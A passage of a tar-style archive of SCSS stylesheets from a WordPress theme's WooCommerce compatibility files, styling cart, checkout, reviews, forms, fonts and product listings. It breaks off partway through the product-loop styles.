} site/compatibility/wc/_wc-elements.scss 0000666 00000003514 15114372150 0014257 0 ustar 00 /*
# Buttons
# Price amount
*/
.button.add_to_cart_button,
.button.alt,
.button.added_to_cart,
.button.checkout,
.button.product_type_grouped,
.button.product_type_external,
.button.product_type_variable {
background: $color_secondary;
position: relative;
cursor: pointer;
&.added {
i {
&::before {
font-family: "FontAwesome";
content: "\f00c";
}
}
}
}
.products {
.button.add_to_cart_button,
.button.added_to_cart,
.button.product_type_variable,
.wc-product-contents .button {
font-size: 0.8em;
min-height: auto;
}
}
.single_add_to_cart_button {
font-size: 1.04em;
}
/* Remove Button */
a.remove {
width: 20px;
height: 20px;
color: #888888;
background: rgba(255, 255, 255, 0.5);
border-radius: 100px;
font-family: sans-serif !important;
font-size: 16px !important;
font-weight: normal;
line-height: 18px !important;
display: inline-block;
text-align: center;
box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.16), 0 0 0 1px rgba(0, 0, 0, 0.08);
opacity: 0.7;
&:hover {
color: #333;
opacity: 1;
box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.26),
0 0 0 1px rgba(0, 0, 0, 0.18);
background-color: rgba(255, 255, 255, 0.99);
}
}
a.remove2x {
width: 30px;
height: 30px;
color: #888888;
background: rgba(255, 255, 255, 0.5);
border-radius: 100px;
font-family: sans-serif !important;
font-size: 24px !important;
font-weight: normal;
line-height: 26px !important;
display: inline-block;
text-align: center;
box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.16), 0 0 0 1px rgba(0, 0, 0, 0.08);
opacity: 0.7;
&:hover {
color: #333;
opacity: 1;
box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.26),
0 0 0 1px rgba(0, 0, 0, 0.18);
background-color: rgba(255, 255, 255, 0.99);
}
}
/* Price */
.price {
line-height: 1;
}
.site-content,
.cart-dropdown-box {
span.amount,
.price {
font-weight: 500;
color: #252525;
}
}
site/compatibility/wc/_wc-reviews.scss 0000666 00000012553 15114372150 0014132 0 ustar 00 /**
* Reviews
*/
#reviews {
margin-bottom: 1.41575em;
.comment-reply-title {
font-size: 1.4em;
margin-bottom: 1em;
line-height: 1.216;
display: block;
}
h2 small {
float: right;
font-size: 15px;
margin: 10px 0 0;
}
#comment {
height: 75px;
}
.comment-form {
margin-bottom: 0px;
}
#comments {
.add_review {
@include clearfix();
}
h2 {
clear: none;
}
ol.commentlist {
@include clearfix();
margin: 0;
width: 100%;
background: none;
list-style: none;
li {
padding: 0;
margin: 0 0 20px;
border: 0;
position: relative;
background: 0;
border: 0;
width: 100%;
.meta {
color: $subtext;
font-size: 0.75em;
}
img.avatar {
float: left;
position: absolute;
top: 0;
left: 0;
width: 50px;
height: auto;
border: 1px solid $color_border;
margin: 0;
box-shadow: none;
}
.comment-text {
margin: 0 0 0 70px;
border: 1px solid $color_border;
border-radius: 1px;
padding: 1em 1em 0;
@include clearfix();
p {
margin: 0 0 1em;
}
p.meta {
font-size: 0.83em;
time {
text-transform: uppercase;
letter-spacing: 0.5px;
font-size: 0.8em;
}
}
.star-rating {
margin-bottom: 4px;
}
}
}
ul.children {
list-style: none outside;
margin: 20px 0 0 50px;
.star-rating {
display: none;
}
}
#respond {
border: 1px solid darken( $secondary, 3% );
border-radius: 4px;
padding: 1em 1em 0;
margin: 20px 0 0 50px;
}
}
.commentlist > li::before {
content: '';
}
}
}
/* Review Form */
#review_form {
padding: 1.6em 2em 2em;
border: 2px solid $color_primary;
.comment-reply-title {
}
#respond {
p {
margin: 0 0 15px;
&.form-submit {
margin-bottom: 0;
}
}
.comment-form-author, .comment-form-email {
width: 48%;
}
.comment-form-author {
float: left;
margin-right: 3.8823529412%;
}
.comment-form-email {
float: right;
}
.form-submit {
width: 100%;
}
.comment-subscription-form {
margin-bottom: 0;
}
label {
text-transform: uppercase;
letter-spacing: 0.5px;
font-size: 0.875em;
}
}
}
/**
* Star ratings
*/
.comment-form-rating a, .star-rating{
color: $color_secondary;
&:hover, &:focus {
color: $color_secondary;
}
}
.star-rating {
overflow: hidden;
position: relative;
height: 1em;
line-height: 1;
font-size: 0.857em;
width: 5.4em;
font-family: 'star';
&::before {
content: '\73\73\73\73\73';
color: darken( $secondary, 10% );
float: left;
top: 0;
left: 0;
position: absolute;
}
span {
overflow: hidden;
float: left;
top: 0;
left: 0;
position: absolute;
padding-top: 1.5em;
}
span::before {
content: '\53\53\53\53\53';
top: 0;
position: absolute;
left: 0;
}
}
.woocommerce-product-rating {
@include clearfix();
line-height: 2;
display: block;
.star-rating {
margin: 0.5em 4px 0 0;
float: left;
}
}
.products .star-rating {
display: inline-block;
float: none;
}
.hreview-aggregate .star-rating {
margin: 10px 0 0;
}
p.stars {
a {
position: relative;
height: 1em;
width: 1em;
text-indent: -999em;
display: inline-block;
text-decoration: none;
&::before {
display: block;
position: absolute;
top: 0;
left: 0;
width: 1em;
height: 1em;
line-height: 1;
font-family: 'WooCommerce';
content: '\e021';
text-indent: 0;
}
&:hover ~ a::before {
content: '\e021';
}
}
&:hover a::before {
content: '\e020';
}
&.selected {
a.active {
&::before {
content: '\e020';
}
~ a::before {
content: '\e021';
}
}
a:not( .active )::before {
content: '\e020';
}
}
}
site/compatibility/wc/_wc-cart.scss 0000666 00000013374 15114372150 0013401 0 ustar 00 // Mini cart
/**
* Cart sidebar
*/
.widget {
.woocommerce-mini-cart {
.mini_cart_item {
display: flex;
&__thumb {
width: 60px;
flex-basis: 60px;
img {
width: 100%;
display: block;
}
}
&__info {
flex-basis: calc(100% - 60px);
width: calc(100% - 60px);
padding: 0px 25px 0px 1em;
}
}
}
.cart_list {
list-style: none outside;
padding: 0;
margin: 0;
.wc-product-name,
.quantity {
display: block;
}
li {
margin: 0 0 1em 0;
list-style: none;
position: relative;
a.remove {
position: absolute;
right: 0px;
top: 15px;
}
a {
display: block;
}
a:not(.remove) {
line-height: 1.35;
}
img {
height: auto;
box-shadow: none;
}
dl {
margin: 0;
padding-left: 1em;
border-left: 2px solid rgba(0, 0, 0, 0.1);
@include clearfix();
dt,
dd {
display: inline-block;
float: left;
}
dt {
font-weight: 700;
padding: 0 0 0.25em;
margin: 0 4px 0 0;
clear: left;
}
dd {
padding: 0 0 0.25em;
p:last-child {
margin-bottom: 0;
}
}
}
.star-rating {
float: none;
}
}
}
}
.wc-mini-cart-footer {
border-top: 1px solid $color_border;
padding: 1.25em;
}
.widget-area {
&.sidebar-inner {
.widget_shopping_cart {
.cart_list {
margin-bottom: 1.25em;
}
.wc-mini-cart-footer {
padding: 1.25em 0 0px;
}
}
}
.widget_shopping_cart {
.quantity {
text-transform: uppercase;
display: block;
margin-top: 7px;
}
.total {
display: block;
margin-top: 0px;
margin-bottom: 1.1em;
.amount {
float: right;
font-size: 110%;
position: relative;
top: -2px;
}
}
.cart_list {
&:after {
content: none !important;
display: none !important;
}
}
.buttons {
a {
text-align: center;
display: block;
margin-bottom: 0.6em;
font-size: 0.9em;
min-height: auto;
&:last-child {
margin-bottom: 0px;
}
}
}
}
}
// Header Item: Shopping Cart
.item--wc_cart {
position: relative;
.cart-item-link {
display: flex;
align-items: center;
font-weight: 600;
font-size: 0.85em;
> span {
margin: 0 2px;
&:first-child {
margin-left: 0px;
}
&:last-child {
margin-right: 0px;
}
}
.tax_label {
display: none;
}
}
.cart-icon {
display: inline-block;
position: relative;
font-size: 1.3em;
i {
width: 1.3em;
height: 1.3em;
display: block;
position: relative;
top: -1px;
&:before {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
}
.cart-qty {
position: absolute;
top: -4px;
right: 2px;
left: auto;
transform: translate(50%, 0%);
font-size: 11px;
min-width: 16px;
min-height: 16px;
line-height: 16px;
display: block;
text-align: center;
.customify-wc-total-qty {
color: #ffffff;
box-shadow: 1px 1px 3px 0px rgba(0, 0, 0, 0.2);
font-size: 11px;
min-width: 16px;
min-height: 16px;
line-height: 16px;
border-radius: 20px;
background: $color_secondary;
display: block;
&.hide-qty {
display: none;
}
}
}
}
.cart-dropdown-box {
position: absolute;
text-align: left;
top: 100%;
right: 0px;
left: auto;
z-index: 30;
min-width: 300px;
padding: 10px 0 0;
transition: all 0.3s ease;
opacity: 0;
height: 0;
visibility: hidden;
display: block;
color: $color_text;
transform: translateY(40px);
.woocommerce-mini-cart {
max-height: 300px;
overflow: auto;
display: block;
padding: 1.25em;
li {
&:last-child {
margin-bottom: 0;
}
}
}
.widget {
border: 1px solid #eaecee;
background: #ffffff;
box-shadow: $boxshadow_dropdown;
position: relative;
&::before {
border-top: 1px solid $color_border;
border-left: 1px solid $color_border;
background: #fff;
content: "";
display: block;
position: absolute;
width: 15px;
height: 15px;
transform: rotate(45deg);
z-index: 27;
}
}
// When cart empty
.woocommerce-mini-cart__empty-message {
padding: 1.25em;
}
}
&:hover,
&.cart-active {
.cart-dropdown-box {
opacity: 1;
height: auto;
overflow: initial;
visibility: visible;
display: block;
transform: translateY(0px);
}
}
}
.item--wc_cart {
&.d-align-right {
.cart-dropdown-box {
left: auto;
right: -8px;
.widget {
&:before {
top: -8px;
right: 15px;
}
}
}
}
&.d-align-left {
.cart-dropdown-box {
left: 0px;
right: auto;
.widget {
&:before {
top: -8px;
left: 15px;
}
}
}
}
@include for_device(mobile) {
.wc-cart-mobile-hide {
display: none !important;
}
.wc-cart-mobile-show {
display: inline-block !important;
}
}
@include for_device(tablet) {
.wc-cart-tablet-hide {
display: none;
}
.wc-cart-tablet-show {
display: inline-block;
}
}
@include for_device(desktop) {
.wc-cart-desktop-hide {
display: none;
}
.wc-cart-desktop-show {
display: inline-block;
}
}
}
.header-menu-sidebar-inner {
.cart-dropdown-box {
display: none !important;
visibility: hidden;
height: 0px;
}
}
// Hide cart on mobile
.cb-row--mobile {
.cart-dropdown-box {
@include for_device(mobile) {
display: none !important;
}
}
}
.site-header {
.builder-header-wc_cart-item {
.widget_shopping_cart {
.widgettitle {
display: none;
}
}
}
}
site/compatibility/wc/_woocommerce-fonts.scss 0000666 00000001565 15114372150 0015506 0 ustar 00 /**
* _fonts.scss
* Custom WooCommerce fonts.
*/
@font-face {
font-family: 'star';
src: url('../../fonts/WooCommerce/star.eot');
src: url('../../fonts/WooCommerce/star.eot?#iefix') format('embedded-opentype'),
url('../../fonts/WooCommerce/star.woff') format('woff'),
url('../../fonts/WooCommerce/star.ttf') format('truetype'),
url('../../fonts/WooCommerce/star.svg#star') format('svg');
font-weight: normal;
font-style: normal;
}
@font-face {
font-family: 'WooCommerce';
src: url('../../fonts/WooCommerce/WooCommerce.eot');
src: url('../../fonts/WooCommerce/WooCommerce.eot?#iefix') format('embedded-opentype'),
url('../../fonts/WooCommerce/WooCommerce.woff') format('woff'),
url('../../fonts/WooCommerce/WooCommerce.ttf') format('truetype'),
url('../../fonts/WooCommerce/WooCommerce.svg#WooCommerce') format('svg');
font-weight: normal;
font-style: normal;
} site/compatibility/wc/_woocommerce-layout.scss 0000666 00000014505 15114372150 0015670 0 ustar 00 /**
* Applies layout to the default WooCommerce frontend design
*/
.woocommerce-cart, .woocommerce-checkout {
.entry-header {
text-align: center;
.entry-title {
font-size: 1.9em;
text-transform: uppercase;
@include for_device( mobile ) {
font-size: 1.7em;
}
}
margin: 0em 0 3em;
}
}
/* Breadcrumb */
.woocommerce-breadcrumb {
a {
&:after {
border-top: 1px solid currentColor;
border-left: 1px solid currentColor;
content: "";
width: 5px;
height: 5px;
display: inline-block;
transform: rotate(135deg);
left: auto;
position: relative;
top: -1px;
margin: 0px 10px;
}
}
}
// Before listing Products
.wc-catalog-header {
display: flex;
align-items: center;
margin-bottom: 0.5em;
}
.wc-svg-btn {
cursor: pointer;
padding: 5px 5px 4px 5px;
border: 1px solid $color_border;
border-radius: 1px;
line-height: 1;
height: 2em;
display: inline-flex;
align-items: center;
margin-right: 10px;
svg {
width: 1.2em;
height: 1.2em;
display: inline-block;
fill: currentColor;
}
&.active {
color: $color_primary;
border-color: $color_primary;
}
}
.wc-view-switcher, .woocommerce-ordering, .woocommerce-result-count {
margin-bottom: 0;
display: flex;
align-items: center;
}
.wc-view-switcher {
@include for_device( mobile ) {
display: none;
}
}
.woocommerce-ordering {
margin-right: 0px;
margin-left: 0px;
select {
padding: 0 2em 0 15px;
border: 1px solid $color_border;
border-radius: 0px;
position: relative;
height: 2.3em;
font-size: 0.95em;
@include for_device(mobile) {
min-width: 150px;
}
}
}
// <img src="data:image/svg+xml;utf8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/Pgo8IS0tIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTkuMC4wLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgLS0+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iTGF5ZXJfMSIgeD0iMHB4IiB5PSIwcHgiIHZpZXdCb3g9IjAgMCAzODYuMjU3IDM4Ni4yNTciIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDM4Ni4yNTcgMzg2LjI1NzsiIHhtbDpzcGFjZT0icHJlc2VydmUiIHdpZHRoPSIxNnB4IiBoZWlnaHQ9IjE2cHgiPgo8cG9seWdvbiBwb2ludHM9IjAsOTYuODc5IDE5My4xMjksMjg5LjM3OSAzODYuMjU3LDk2Ljg3OSAiIGZpbGw9IiMwMDAwMDAiLz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPC9zdmc+Cg==" />
.woocommerce-result-count {
margin-left: auto;
margin-right: 1em;
@include for_device(mobile) {
display: none;
}
}
.woocommerce, .woocommerce-page {
.woocommerce-message,
.woocommerce-error,
.woocommerce-info {
.button {
float: right;
}
}
/**
* General layout styles
*/
.col2-set {
@include clearfix();
width: 100%;
.col-1 {
float: left;
width: 48%;
}
.col-2 {
float: right;
width: 48%;
}
}
img {
height: auto;
max-width: 100%;
}
/**
* Cart page
*/
.woocommerce-cart-form {
width: 60%;
float: left;
@include for_device( tablet ) {
width: 100%;
float: none;
}
}
.cart-collaterals {
width: 35%;
float: right;
@include for_device( tablet ) {
width: 100%;
float: none;
}
}
table.cart,
#content table.cart {
img {
height: auto;
}
}
/**
* Checkout Page
*/
.woocommerce-checkout {
.col2-set {
.col-1, .col-2 {
float: none;
width: 100%;
}
}
#order_review_heading {
display: none;
}
#customer_details {
width: 55%;
float: left;
@include for_device( tablet ) {
width: 100%;
float: none;
}
}
.woocommerce-checkout-review-order {
width: 40%;
float: right;
@include for_device( tablet ) {
width: 100%;
float: none;
}
}
}
/**
* Forms
*/
form {
.form-row {
@include clearfix();
label {
display: block;
&.checkbox {
display: inline;
}
}
select {
width: 100%;
}
.input-text {
box-sizing: border-box;
width: 100%;
}
}
.form-row-first,
.form-row-last {
width: 47%;
overflow: visible;
}
.form-row-first {
float: left;
/*rtl:raw:
float: right;
*/
}
.form-row-last {
float: right;
}
.form-row-wide {
clear: both;
}
}
#payment {
.form-row {
select {
width: auto;
}
}
.wc-terms-and-conditions, .terms {
text-align: left;
padding: 0 1em 0 0;
float: left;
}
}
.woocommerce-billing-fields,
.woocommerce-shipping-fields {
@include clearfix();
}
.woocommerce-terms-and-conditions {
margin-bottom: 1.618em;
padding: 1.618em;
}
/**
* oEmbeds
*/
.woocommerce-oembed {
position: relative;
}
}
.woocommerce-account {
.woocommerce-MyAccount-navigation {
float: left;
width: 30%;
}
.woocommerce-MyAccount-content {
float: right;
width: 68%;
}
}
/**
* RTL styles.
*/
.rtl {
.woocommerce, .woocommerce-page {
.col2-set {
.col-1 {
float: right;
}
.col-2 {
float: left;
}
}
}
}
site/compatibility/wc/_wc-cart-checkout.scss 0000666 00000034140 15114372150 0015176 0 ustar 00 /**
* Cart/checkout page
*/
// Heading
.cart-collaterals .cart_totals h2,
.woocommerce-checkout-review-order h3 {
font-size: 1.2em;
text-transform: uppercase;
font-weight: 500;
padding-bottom: 15px;
margin-bottom: 0px;
}
.woocommerce-billing-fields h3 {
font-size: 1.2em;
text-transform: uppercase;
font-weight: 500;
}
#ship-to-different-address {
font-size: 1em;
margin: 1.5em 0;
text-transform: uppercase;
font-weight: 500;
span {
position: relative;
top: 1px;
font-weight: 500;
cursor: pointer;
}
}
// Empty cart page
.cart-empty,
.return-to-shop {
text-align: center;
}
// Sidebar Box style
.cart-collaterals,
.woocommerce-checkout-review-order, .group-highlight-box {
background: #f9f9f9;
box-shadow: 0 2px 2px 0 rgba(0,0,0,0.16), 0 0 0 1px rgba(0,0,0,0.08);
padding: 1.8em 2em 2em 2em;
border-radius: 2px;
margin-top: 1em;
@include for_device(mobile) {
padding: 1em;
form.cart .group_table td {
padding-right: 0.5em;
}
}
> * {
&:last-child {
margin-bottom: 0px;
}
}
}
form.woocommerce-checkout {
@include clearfix;
margin: 2em 0;
@include for_device(tablet) {
margin: 1em 0;
}
}
.woocommerce-cart,
.woocommerce-checkout,
#add_payment_method {
table.cart {
.product-thumbnail {
width: 100px;
}
.product-quantity {
min-width: 8em;
}
img {
width: 90px;
box-shadow: none;
display: block;
}
th,
td {
vertical-align: middle;
}
input {
margin: 0;
vertical-align: middle;
}
td.actions {
padding: 15px 0px 15px 0px;
}
tr {
th:first-of-type {
padding-left: 0px;
}
th:last-of-type {
padding-right: 0px;
text-align: right;
}
td:first-of-type {
padding-left: 1px;
}
td:last-of-type {
padding-right: 0px;
text-align: right;
}
}
}
.wc-proceed-to-checkout {
@include clearfix;
a.checkout-button {
display: block;
text-align: center;
font-size: 1.25em;
}
}
.cart-collaterals {
.shipping_calculator {
.button {
width: 100%;
float: none;
display: block;
}
.shipping-calculator-button::after {
@include iconafter( '\e019' );
}
}
.cart_totals {
p small {
color: $subtext;
font-size: 0.83em;
}
.discount td {
color: $highlight;
}
}
.cross-sells ul.products li.product {
margin-top: 0;
}
}
.checkout {
.col-2 {
h3#ship-to-different-address {
float: left;
clear: none;
}
.notes {
clear: left;
}
.form-row-first {
clear: left;
}
}
.create-account small {
font-size: 11px;
color: $subtext;
font-weight: normal;
}
div.shipping-address {
padding: 0;
clear: left;
width: 100%;
}
.shipping_address {
clear: both;
}
}
#payment {
ul.payment_methods {
@include clearfix();
text-align: left;
margin: 0;
list-style: none outside;
> li {
line-height: 2;
text-align: left;
margin: 0;
font-weight: normal;
border-bottom: 1px solid $color_border;
padding-top: 1em;
line-height: 1.2;
position: relative;
> label {
padding-left: 32px;
margin-bottom: 0.8em;
display: inline-block;
cursor: pointer;
font-weight: 500;
line-height: 1.2;
font-size: 1.05em;
position: relative;
top: -2px;
}
p {
padding: 0 2em 1.2em 32px;
line-height: 1.7;
}
img {
vertical-align: middle;
margin: -2px 0 0 0.5em;
padding: 0;
position: relative;
box-shadow: none;
}
img + img {
margin-left: 2px;
}
.input-radio {
position: absolute;
left: 0;
}
&.payment_method_paypal {
> label {
display: block;
}
img {
float: right;
max-height: 35px;
vertical-align: middle;
position: relative;
top: -5px;
margin-left: 15px;
}
.about_paypal {
float: right;
font-size: 0.8em;
border-bottom: 1px dotted currentColor;
}
}
&.payment_method_stripe {
img {
max-height: 15px;
margin: 2px -5px 0 !important;
}
input#payment_method_stripe {
top: auto !important;
}
p {
margin-bottom: 0;
}
}
}
[class*="payment_method_stripe_"] {
.input-radio {
top: auto !important;
}
}
li:not(.woocommerce-notice) {
@include clearfix;
}
}
div.payment_box {
position: relative;
box-sizing: border-box;
width: 100%;
font-size: 0.9em;
border-radius: 2px;
line-height: 1.5;
input.input-text, textarea {
border-color: darken( $secondary, 15% );
border-top-color: darken( $secondary, 20% );
}
::-webkit-input-placeholder {
color: darken( $secondary, 20% );
}
:-moz-placeholder {
color: darken( $secondary, 20% );
}
:-ms-input-placeholder {
color: darken( $secondary, 20% );
}
.woocommerce-SavedPaymentMethods {
list-style: none outside;
margin: 0;
.woocommerce-SavedPaymentMethods-token,
.woocommerce-SavedPaymentMethods-new {
margin: 0 0 0.5em;
label {
cursor: pointer;
}
}
.woocommerce-SavedPaymentMethods-tokenInput {
vertical-align: middle;
margin: -3px 1em 0 0;
position: relative;
}
}
.wc-credit-card-form {
border: 0;
padding: 0 2em 0em 32px;
margin: 0;
}
.wc-credit-card-form-card-number,
.wc-credit-card-form-card-expiry,
.wc-credit-card-form-card-cvc {
font-size: 1.5em;
padding: 8px;
background-repeat: no-repeat;
background-position: right 0.618em center;
background-size: 32px 20px;
&.visa {
background-image: url('../../images/icons/credit-cards/visa.svg');
}
&.mastercard {
background-image: url('../../images/icons/credit-cards/mastercard.svg');
}
&.laser {
background-image: url('../../images/icons/credit-cards/laser.svg');
}
&.dinersclub {
background-image: url('../../images/icons/credit-cards/diners.svg');
}
&.maestro {
background-image: url('../../images/icons/credit-cards/maestro.svg');
}
&.jcb {
background-image: url('../../images/icons/credit-cards/jcb.svg');
}
&.amex {
background-image: url('../../images/icons/credit-cards/amex.svg');
}
&.discover {
background-image: url('../../images/icons/credit-cards/discover.svg');
}
}
span.help {
font-size: 0.857em;
color: $subtext;
font-weight: normal;
}
.form-row {
margin: 0 0 0.5em;
}
p:last-child {
margin-bottom: 0;
}
}
.place-order {
padding: 2em 0 0 0;
}
}
}
/* Minimal style for cart/checkout page */
// Messages
.woocommerce-form-coupon-toggle,
.woocommerce-form-login-toggle {
.woocommerce-message,
.woocommerce-info {
max-width: 600px;
margin: 1em auto 1em;
border: 0px none;
padding: 0px;
background: none;
text-align: center;
&:before {
display: inline-block;
position: relative;
top: auto;
left: auto;
font-size: 0.8em;
margin-right: 0.4em;
}
}
}
.woocommerce-form-login-toggle {
.woocommerce-info {
&:before {
content: '\e03a';
}
}
}
.woocommerce-form-coupon-toggle {
.woocommerce-info {
&:before {
content: '\e600';
}
}
}
// Cart Collaterals Box.
.cart-collaterals {
table {
&.shop_table {
background: none;
border: none;
th {
width: 30%;
}
tr, td, th {
background: none;
//border: none;
}
th {
padding-left: 0px;
}
td {
text-align: right;
}
}
}
}
// Login form
.woocommerce-page {
.woocommerce-form-login {
max-width: 500px;
margin: 1em auto;
.form-row {
width: 100%;
float: none;
.button {
width: 100%;
text-align: center;
display: block;
}
}
.woocommerce-form__label-for-checkbox {
display: inline-block;
margin-top: 12px;
input[type="checkbox"] {
position: relative;
margin-top: -1px;
}
}
.lost_password {
float: right;
margin: -37px 0px 0px;
}
}
// Coupon Form
.actions {
.button[type="submit"] {
float: right;
}
.coupon {
float: left;
width: 50%;
}
}
.woocommerce-form-coupon {
max-width: 500px;
margin: 2em auto;
}
.input-group-text-button, .coupon {
position: relative;
min-width: 50%;
label {
display: none;
}
.input-text {
padding-right: 3em;
width: 100%;
}
.button {
position: absolute;
top: 0px;
right: 0px;
width: 3em;
height: 2.6em;
overflow: hidden;
display: block;
background: transparent;
border-color: transparent;
&:hover {
box-shadow: none;
&:before {
color: #252525;
}
}
&:before {
font-family: "WooCommerce";
content: "\e008";
color: #CCCCCC;
font-size: 17px;
margin-right: 2em;
}
}
}
}
.later-wc-version {
.woocommerce-form-login {
.lost_password {
float: none;
clear: both;
text-align:right;
margin-top: 0;
padding: 0 3px;
}
.woocommerce-form-login__rememberme{
margin-top: 5px;
margin-bottom: 15px;
}
}
}
// Checkout Review Order Box.
.woocommerce-checkout-review-order {
table {
&.shop_table {
tr, td, th {
//border: none;
padding-left: 0px;
}
tr {
&.cart-subtotal td,
.product-total {
text-align: right;
}
}
tbody {
tr {
.product-name {
width: 180px;
}
td {
border-top: 1px solid $color_border;
}
&:last-of-type td {
border-bottom: 1px solid $color_border;
}
}
}
tfoot {
tr {
&.shipping {
p {
margin-bottom: 0px;
}
}
}
tr:last-of-type {
th,td {
//border-bottom: 2px solid $color_border;
}
}
.order-total .amount {
font-size: 1.5em;
}
}
}
}
#place_order {
display: block;
width: 100%;
}
}
site/compatibility/wc/_wc-order.scss 0000666 00000003246 15114372150 0013560 0 ustar 00 /**
* Order page
*/
ul.order_details {
@include clearfix();
margin: 0 0 3em;
list-style: none;
li {
float: left;
margin-right: 2em;
text-transform: uppercase;
font-size: 0.715em;
line-height: 1;
border-right: 1px dashed darken( $secondary, 10% );
padding-right: 2em;
margin-left: 0;
padding-left: 0;
list-style-type: none;
strong {
display: block;
font-size: 1.4em;
text-transform: none;
line-height: 1.5;
}
&:last-of-type {
border: none;
}
}
}
.wc-bacs-bank-details-account-name {
font-weight: bold;
}
.woocommerce-order-downloads,
.woocommerce-customer-details,
.woocommerce-order-details {
margin-bottom: 2em;
*:last-child {
margin-bottom: 0;
}
}
.woocommerce-customer-details {
address {
font-style: normal;
margin-bottom: 0;
border: 1px solid rgba(0, 0, 0, 0.1);
border-bottom-width: 2px;
border-right-width: 2px;
text-align: left;
width: 100%;
border-radius: 5px;
padding: 6px 12px;
}
.woocommerce-customer-details--phone,
.woocommerce-customer-details--email {
margin-bottom: 0;
padding-left: 1.5em;
}
.woocommerce-customer-details--phone::before {
@include iconbefore( '\e037' );
margin-left: -1.5em;
line-height: 1.75;
position: absolute;
}
.woocommerce-customer-details--email::before {
@include iconbefore( '\e02d' );
margin-left: -1.5em;
line-height: 1.75;
position: absolute;
}
} site/compatibility/wc/_wc-forms.scss 0000666 00000007427 15114372150 0013600 0 ustar 00 /**
* Forms
*/
form .form-row {
padding: 3px;
margin: 0 0 6px;
[placeholder]:focus::-webkit-input-placeholder {
transition: opacity 0.5s 0.5s ease;
opacity: 0;
}
label {
line-height: 2;
}
label.hidden {
visibility: hidden;
}
label.inline {
display: inline;
}
.woocommerce-input-wrapper {
.description {
background: #1e85be;
color: #fff;
border-radius: 3px;
padding: 1em;
margin: .5em 0 0;
clear: both;
display: none;
position: relative;
a {
color: #fff;
text-decoration: underline;
border: 0;
box-shadow: none;
}
&:before {
left: 50%;
top: 0%;
margin-top: -4px;
transform: translatex(-50%) rotate(180deg);
content: "";
position: absolute;
border-width: 4px 6px 0 6px;
border-style: solid;
border-color: #1e85be transparent transparent transparent;
z-index: 100;
display: block;
}
}
}
select {
cursor: pointer;
margin: 0;
}
.required {
color: red;
font-weight: 700;
border: 0 !important;
text-decoration: none;
visibility: hidden; // Only show optional by default.
}
.optional {
visibility: visible;
}
.input-checkbox {
display: inline;
margin: -2px 8px 0 0;
text-align: center;
vertical-align: middle;
}
input.input-text,
textarea {
box-sizing: border-box;
width: 100%;
margin: 0;
outline: 0;
line-height: normal;
}
textarea {
height: 4em;
line-height: 1.5;
display: block;
}
.select2-container {
width: 100%;
line-height: 2em;
}
&.woocommerce-invalid {
label {
color: $red;
}
.select2-container,
input.input-text,
select {
border-color: $red;
}
}
&.woocommerce-validated {
.select2-container,
input.input-text,
select {
border-color: $green;
}
}
::-webkit-input-placeholder {
line-height: normal;
}
:-moz-placeholder {
line-height: normal;
}
:-ms-input-placeholder {
line-height: normal;
}
}
form.login,
form.checkout_coupon,
form.register {
padding: 20px;
margin: 2em 0;
text-align: left;
border-radius: 1px;
}
form.checkout_coupon {
border: 2px dashed #eaeaea;
}
ul#shipping_method {
list-style: none outside;
margin: 0;
padding: 0;
li {
margin: 0;
padding: 4px 0px;
text-indent: -22px;
list-style: none outside;
input {
margin: 3px 0.5ex;
}
label {
display: inline;
}
&:first-child {
padding-top: 0px;
}
}
.amount {
//font-weight: 700;
}
}
/* Checkout form */
#customer_details {
margin-bottom: 2em;
}
/* Shipping calculator form */
.woocommerce-shipping-calculator {
margin-bottom: 0;
.shipping-calculator-form {
margin: 15px 0px;
}
p {
margin-bottom: 0px;
}
.form-row {
padding: 0;
margin: 0 0 10px;
font-size: 0.85em;
}
#calc_shipping_country_field {
margin-bottom: 13px;
text-align: left;
}
select {
text-align: left;
}
button {
font-size: 0.85em;
display: block;
width: 100%;
min-height: auto;
}
} site/compatibility/wc/_wc-loop.scss 0000666 00000010453 15114372150 0013414 0 ustar 00 /**
* Product loops
*/
.woocommerce {
.woocommerce-loop-category__title {
margin-top: 10px;
padding: 0;
font-size: 1em;
}
ul.products li.product {
h3,
.woocommerce-loop-product__title
{
padding: 0;
margin: 0;
font-size: 1.1em;
line-height: 1.35;
}
a img {
width: 100%;
height: auto;
display: block;
}
strong {
display: block;
}
.price {
display: inline-block;
font-weight: normal;
font-size: 0.857em;
del {
opacity: 0.5;
display: inline-block;
}
ins {
background: none;
font-weight: 700;
display: inline-block;
}
.from {
font-size: 0.67em;
margin: -2px 0 0 0;
text-transform: uppercase;
color: rgba(desaturate($highlight, 75%), 0.5);
}
}
}
ul.products {
margin: 0 -1em 0;
padding: 0;
list-style: none outside;
clear: both;
li.product, > li{
list-style: none outside;
margin: 1em 0px;
}
}
}
.wc-product-inner {
position: relative;
display: flex;
flex-direction: column;
height: 100%;
&:last-child{ // only have child
&:first-child {
height: auto;
}
}
> div {
flex: 1;
flex-grow: 1;
flex-shrink: 1;
flex-basis: auto;
}
.woocommerce-loop-product__desc p {
&:last-child {
margin-bottom: 0;
}
}
.wc-product-contents {
padding-top: 0.7em;
padding-bottom: 0.7em;
> * {
margin-top: 0.7em;
&:first-child {
margin-top: 0px;
}
&:last-child {
margin-bottom: 0;
}
}
}
.wc-product__part {
&:last-child {
margin-bottom: 0px;
}
.ajax_add_to_cart.added {
display: none;
}
}
.wc-product-media {
position: relative;
flex-shrink: initial;
flex-grow: 0;
text-align: center;
margin: 0em;
img {
transition: all .3s ease;
